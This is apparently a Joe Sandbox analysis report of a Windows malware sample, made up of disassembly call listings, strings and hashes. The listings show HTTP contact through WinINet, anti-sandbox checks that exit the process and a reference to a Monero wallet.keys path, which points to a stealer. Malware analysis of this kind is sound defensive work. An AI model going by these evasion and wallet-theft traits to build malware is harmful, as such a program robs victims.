GetProcAddress.KERNEL32(74DD0000,014896B8), ref: 00699C8E
GetProcAddress.KERNEL32(74DD0000,014896D0), ref: 00699CA7
GetProcAddress.KERNEL32(74DD0000,0147BCE8), ref: 00699CBF
GetProcAddress.KERNEL32(74DD0000,0148CE10), ref: 00699CD7
GetProcAddress.KERNEL32(74DD0000,0148D0C8), ref: 00699CF0
GetProcAddress.KERNEL32(74DD0000,0148CE28), ref: 00699D08
GetProcAddress.KERNEL32(74DD0000,0148CF18), ref: 00699D20
GetProcAddress.KERNEL32(74DD0000,01475C30), ref: 00699D39
GetProcAddress.KERNEL32(74DD0000,01475B10), ref: 00699D51
GetProcAddress.KERNEL32(74DD0000,01475DB0), ref: 00699D69
GetProcAddress.KERNEL32(74DD0000,01475B30), ref: 00699D82
GetProcAddress.KERNEL32(74DD0000,0148CF60), ref: 00699D9A
GetProcAddress.KERNEL32(74DD0000,0148CF00), ref: 00699DB2
GetProcAddress.KERNEL32(74DD0000,0147BD60), ref: 00699DCB
GetProcAddress.KERNEL32(74DD0000,01475C70), ref: 00699DE3
GetProcAddress.KERNEL32(74DD0000,0148CFC0), ref: 00699DFB
GetProcAddress.KERNEL32(74DD0000,0148D020), ref: 00699E14
GetProcAddress.KERNEL32(74DD0000,0148CF30), ref: 00699E2C
GetProcAddress.KERNEL32(74DD0000,0148CE88), ref: 00699E44
GetProcAddress.KERNEL32(74DD0000,01475C90), ref: 00699E5D
GetProcAddress.KERNEL32(74DD0000,0148D0E0), ref: 00699E75
GetProcAddress.KERNEL32(74DD0000,0148D038), ref: 00699E8D
GetProcAddress.KERNEL32(74DD0000,0148CFD8), ref: 00699EA6
GetProcAddress.KERNEL32(74DD0000,0148D098), ref: 00699EBE
GetProcAddress.KERNEL32(74DD0000,0148D0B0), ref: 00699ED6
GetProcAddress.KERNEL32(74DD0000,0148CE40), ref: 00699EEF
GetProcAddress.KERNEL32(74DD0000,0148CED0), ref: 00699F07
GetProcAddress.KERNEL32(74DD0000,0148CDF8), ref: 00699F1F
GetProcAddress.KERNEL32(74DD0000,0148CE58), ref: 00699F38
GetProcAddress.KERNEL32(74DD0000,0148A270), ref: 00699F50
GetProcAddress.KERNEL32(74DD0000,0148CF78), ref: 00699F68
GetProcAddress.KERNEL32(74DD0000,0148CEA0), ref: 00699F81
GetProcAddress.KERNEL32(74DD0000,01475D10), ref: 00699F99
GetProcAddress.KERNEL32(74DD0000,0148CE70), ref: 00699FB1
GetProcAddress.KERNEL32(74DD0000,014757B0), ref: 00699FCA
GetProcAddress.KERNEL32(74DD0000,0148CEB8), ref: 00699FE2
GetProcAddress.KERNEL32(74DD0000,0148CEE8), ref: 00699FFA
GetProcAddress.KERNEL32(74DD0000,01475A30), ref: 0069A013
GetProcAddress.KERNEL32(74DD0000,014757D0), ref: 0069A02B
LoadLibraryA.KERNEL32(0148CFF0,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A03D
LoadLibraryA.KERNEL32(0148CF48,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A04E
LoadLibraryA.KERNEL32(0148CF90,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A060
LoadLibraryA.KERNEL32(0148D080,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A072
LoadLibraryA.KERNEL32(0148CFA8,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A083
LoadLibraryA.KERNEL32(0148D008,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A095
LoadLibraryA.KERNEL32(0148D050,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A0A7
LoadLibraryA.KERNEL32(0148D068,?,00695CA3,006A0AEB,?,?,?,?,?,?,?,?,?,?,006A0AEA,006A0AE3), ref: 0069A0B8
GetProcAddress.KERNEL32(75290000,01475990), ref: 0069A0DA
GetProcAddress.KERNEL32(75290000,0148D398), ref: 0069A0F2
GetProcAddress.KERNEL32(75290000,01488F68), ref: 0069A10A
GetProcAddress.KERNEL32(75290000,0148D368), ref: 0069A123
GetProcAddress.KERNEL32(75290000,01475790), ref: 0069A13B
GetProcAddress.KERNEL32(6FCD0000,0147B608), ref: 0069A160
GetProcAddress.KERNEL32(6FCD0000,01475850), ref: 0069A179
GetProcAddress.KERNEL32(6FCD0000,0147B9C8), ref: 0069A191
GetProcAddress.KERNEL32(6FCD0000,0148D320), ref: 0069A1A9
GetProcAddress.KERNEL32(6FCD0000,0148D1B8), ref: 0069A1C2
GetProcAddress.KERNEL32(6FCD0000,014759D0), ref: 0069A1DA
GetProcAddress.KERNEL32(6FCD0000,01475750), ref: 0069A1F2
GetProcAddress.KERNEL32(6FCD0000,0148D308), ref: 0069A20B
GetProcAddress.KERNEL32(752C0000,01475870), ref: 0069A22C
GetProcAddress.KERNEL32(752C0000,014756B0), ref: 0069A244
GetProcAddress.KERNEL32(752C0000,0148D3E0), ref: 0069A25D
GetProcAddress.KERNEL32(752C0000,0148D2A8), ref: 0069A275
GetProcAddress.KERNEL32(752C0000,014757F0), ref: 0069A28D
GetProcAddress.KERNEL32(74EC0000,0147B6F8), ref: 0069A2B3
GetProcAddress.KERNEL32(74EC0000,0147B6A8), ref: 0069A2CB
GetProcAddress.KERNEL32(74EC0000,0148D2D8), ref: 0069A2E3
GetProcAddress.KERNEL32(74EC0000,01475770), ref: 0069A2FC
GetProcAddress.KERNEL32(74EC0000,01475A50), ref: 0069A314
GetProcAddress.KERNEL32(74EC0000,0147B9A0), ref: 0069A32C
GetProcAddress.KERNEL32(75BD0000,0148D338), ref: 0069A352
GetProcAddress.KERNEL32(75BD0000,01475A70), ref: 0069A36A
GetProcAddress.KERNEL32(75BD0000,01488FB8), ref: 0069A382
GetProcAddress.KERNEL32(75BD0000,0148D350), ref: 0069A39B
GetProcAddress.KERNEL32(75BD0000,0148D1D0), ref: 0069A3B3
GetProcAddress.KERNEL32(75BD0000,01475A90), ref: 0069A3CB
GetProcAddress.KERNEL32(75BD0000,01475890), ref: 0069A3E4
GetProcAddress.KERNEL32(75BD0000,0148D380), ref: 0069A3FC
GetProcAddress.KERNEL32(75BD0000,0148D1E8), ref: 0069A414
GetProcAddress.KERNEL32(75A70000,01475970), ref: 0069A436
GetProcAddress.KERNEL32(75A70000,0148D2F0), ref: 0069A44E
GetProcAddress.KERNEL32(75A70000,0148D158), ref: 0069A466
GetProcAddress.KERNEL32(75A70000,0148D3B0), ref: 0069A47F
GetProcAddress.KERNEL32(75A70000,0148D3C8), ref: 0069A497
GetProcAddress.KERNEL32(75450000,01475810), ref: 0069A4B8
GetProcAddress.KERNEL32(75450000,014756D0), ref: 0069A4D1
GetProcAddress.KERNEL32(75DA0000,014758F0), ref: 0069A4F2
GetProcAddress.KERNEL32(75DA0000,0148D260), ref: 0069A50A
GetProcAddress.KERNEL32(6F070000,014759B0), ref: 0069A530
GetProcAddress.KERNEL32(6F070000,014759F0), ref: 0069A548
GetProcAddress.KERNEL32(6F070000,01475830), ref: 0069A560
GetProcAddress.KERNEL32(6F070000,0148D0F8), ref: 0069A579
GetProcAddress.KERNEL32(6F070000,014758B0), ref: 0069A591
GetProcAddress.KERNEL32(6F070000,01475A10), ref: 0069A5A9
GetProcAddress.KERNEL32(6F070000,014758D0), ref: 0069A5C2
GetProcAddress.KERNEL32(6F070000,014756F0), ref: 0069A5DA
GetProcAddress.KERNEL32(6F070000,InternetSetOptionA), ref: 0069A5F1
GetProcAddress.KERNEL32(6F070000,HttpQueryInfoA), ref: 0069A607
GetProcAddress.KERNEL32(75AF0000,0148D2C0), ref: 0069A629
GetProcAddress.KERNEL32(75AF0000,01488FC8), ref: 0069A641
GetProcAddress.KERNEL32(75AF0000,0148D110), ref: 0069A659
GetProcAddress.KERNEL32(75AF0000,0148D170), ref: 0069A672
GetProcAddress.KERNEL32(75D90000,01475910), ref: 0069A693
GetProcAddress.KERNEL32(6CFC0000,0148D200), ref: 0069A6B4
GetProcAddress.KERNEL32(6CFC0000,01475710), ref: 0069A6CD
GetProcAddress.KERNEL32(6CFC0000,0148D218), ref: 0069A6E5
GetProcAddress.KERNEL32(6CFC0000,0148D188), ref: 0069A6FD

Strings

InternetSetOptionA, xrefs: 0069A5E5
HttpQueryInfoA, xrefs: 0069A5FC

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: d4b34e84065022e7ffa2a3ed557908043b71c11ae208208598f063d6f271b6de
Instruction ID: a6a0f6526888c5f7463c6b466279a0297e02667b5c983ce207251dad48f08205
Opcode Fuzzy Hash: d4b34e84065022e7ffa2a3ed557908043b71c11ae208208598f063d6f271b6de
Instruction Fuzzy Hash: AC624CB550020CAFC34CDFA8FD88D663BF9F78C709B14852AA649C3224D739A851DF56

Function 00686280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00684839
Part of subcall function 006847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00684849

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

InternetOpenA.WININET(006A0DFE,00000001,00000000,00000000,00000000), ref: 006862E1
StrCmpCA.SHLWAPI(?,0148E838), ref: 00686303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00686335
HttpOpenRequestA.WININET(00000000,GET,?,0148DF30,00000000,00000000,00400100,00000000), ref: 00686385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006863BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006863D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 006863FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0068646D
InternetCloseHandle.WININET(00000000), ref: 006864EF
InternetCloseHandle.WININET(00000000), ref: 006864F9
InternetCloseHandle.WININET(00000000), ref: 00686503

Strings

ERROR, xrefs: 00686407
GET, xrefs: 0068637C
ERROR, xrefs: 006864C9

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: c98ed0f7d7054063e2628425d161114b4c2248fce51ccc2486a9c459bc7dfd50
Instruction ID: 47a761aee08d2206fdea0ae03e249894aeded9a15a3b784e257accfab250e3f5
Opcode Fuzzy Hash: c98ed0f7d7054063e2628425d161114b4c2248fce51ccc2486a9c459bc7dfd50
Instruction Fuzzy Hash: 6F713071A00218ABDF14EBE0DC49FEE77BAFB44704F108158F50A6B590DBB46A85CF91

Function 00695510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0069A820: lstrlen.KERNEL32(00684F05,?,?,00684F05,006A0DDE), ref: 0069A82B
Part of subcall function 0069A820: lstrcpy.KERNEL32(006A0DDE,00000000), ref: 0069A885

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00695644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006956A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00695857

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006951F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00695228

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 006952C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00695318
Part of subcall function 006952C0: lstrlen.KERNEL32(00000000), ref: 0069532F
Part of subcall function 006952C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00695364
Part of subcall function 006952C0: lstrlen.KERNEL32(00000000), ref: 00695383
Part of subcall function 006952C0: lstrlen.KERNEL32(00000000), ref: 006953AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0069578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00695940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00695A0C
Sleep.KERNEL32(0000EA60), ref: 00695A1B

Strings

ERROR, xrefs: 00695636
ERROR, xrefs: 0069577D
ERROR, xrefs: 00695849
ERROR, xrefs: 00695932
ERROR, xrefs: 006959FE
ERROR, xrefs: 00695693

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: 8e11155d94b10eabb3d44939b2d00956f17c7eadaddf05eb5f87ba749bed25df
Instruction ID: cfc8ece2cffd31d26b3e5dbe0e4796384bbf37e3e962b825b63d9111d0cb924e
Opcode Fuzzy Hash: 8e11155d94b10eabb3d44939b2d00956f17c7eadaddf05eb5f87ba749bed25df
Instruction Fuzzy Hash: D1E12E719101089ACF58FBE0DD56EED73BEAB54300F50812CB50766991EF346A0ACBDA

Function 006917A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 006917C5
ExitProcess.KERNEL32 ref: 006917D1

Strings

block, xrefs: 006917B7

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: a2b47c7b1d50cd331285bb15723739c7c79dc9680d8a21305941ef60d7a24bb1
Instruction ID: d860e7095936b6e36769a414f5fda2302a463322563389fbba66acd3682fd0c7
Opcode Fuzzy Hash: a2b47c7b1d50cd331285bb15723739c7c79dc9680d8a21305941ef60d7a24bb1
Instruction Fuzzy Hash: 7F514EB5A0420AEFDF04EFA0DA64ABE77BAFF45704F204059E4056B740D770E952DB62

Function 00697500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00697542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0069757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00697603
RtlAllocateHeap.NTDLL(00000000), ref: 0069760A
wsprintfA.USER32 ref: 00697640

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Strings

C, xrefs: 0069754C
\, xrefs: 00697560
j, xrefs: 0069764D, 00697655, 0069761B, 00697623
:, xrefs: 0069755C

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$j
API String ID: 1544550907-1061487577
Opcode ID: 7482ac05aba658fb4ec23b0a4ec181d9241fa54664e38680b5384cda01aed22b
Instruction ID: 973278ff170cfbe322c18ba6ca48d485ac51b659e5dd64a75b86a32bea6ea52c
Opcode Fuzzy Hash: 7482ac05aba658fb4ec23b0a4ec181d9241fa54664e38680b5384cda01aed22b
Instruction Fuzzy Hash: 9B417CB1D04248ABDF10DF94DC85FEEBBB9BF18704F100199F509A7280DB78AA44CBA5

Function 006969F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482398), ref: 006998A1
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482320), ref: 006998BA
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,014824E8), ref: 006998D2
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482440), ref: 006998EA
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482500), ref: 00699903
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,014890A8), ref: 0069991B
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01475B90), ref: 00699933
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01475AB0), ref: 0069994C
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482350), ref: 00699964
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482470), ref: 0069997C
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482488), ref: 00699995
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,014822D8), ref: 006999AD
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01475DD0), ref: 006999C5
Part of subcall function 00699860: GetProcAddress.KERNEL32(74DD0000,01482290), ref: 006999DE

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 006811D0: ExitProcess.KERNEL32 ref: 00681211

Part of subcall function 00681160: GetSystemInfo.KERNEL32(?), ref: 0068116A
Part of subcall function 00681160: ExitProcess.KERNEL32 ref: 0068117E

Part of subcall function 00681110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0068112B
Part of subcall function 00681110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00681132
Part of subcall function 00681110: ExitProcess.KERNEL32 ref: 00681143

Part of subcall function 00681220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0068123E
Part of subcall function 00681220: __aulldiv.LIBCMT ref: 00681258
Part of subcall function 00681220: __aulldiv.LIBCMT ref: 00681266
Part of subcall function 00681220: ExitProcess.KERNEL32 ref: 00681294

Part of subcall function 00696770: GetUserDefaultLangID.KERNEL32 ref: 00696774

Part of subcall function 00681190: ExitProcess.KERNEL32 ref: 006811C6

Part of subcall function 00697850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,006811B7), ref: 00697880
Part of subcall function 00697850: RtlAllocateHeap.NTDLL(00000000), ref: 00697887
Part of subcall function 00697850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0069789F

Part of subcall function 006978E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00697910
Part of subcall function 006978E0: RtlAllocateHeap.NTDLL(00000000), ref: 00697917
Part of subcall function 006978E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0069792F

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01488FA8,?,006A110C,?,00000000,?,006A1110,?,00000000,006A0AEF), ref: 00696ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00696AE8
CloseHandle.KERNEL32(00000000), ref: 00696AF9
Sleep.KERNEL32(00001770), ref: 00696B04
CloseHandle.KERNEL32(?,00000000,?,01488FA8,?,006A110C,?,00000000,?,006A1110,?,00000000,006A0AEF), ref: 00696B1A
ExitProcess.KERNEL32 ref: 00696B22

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

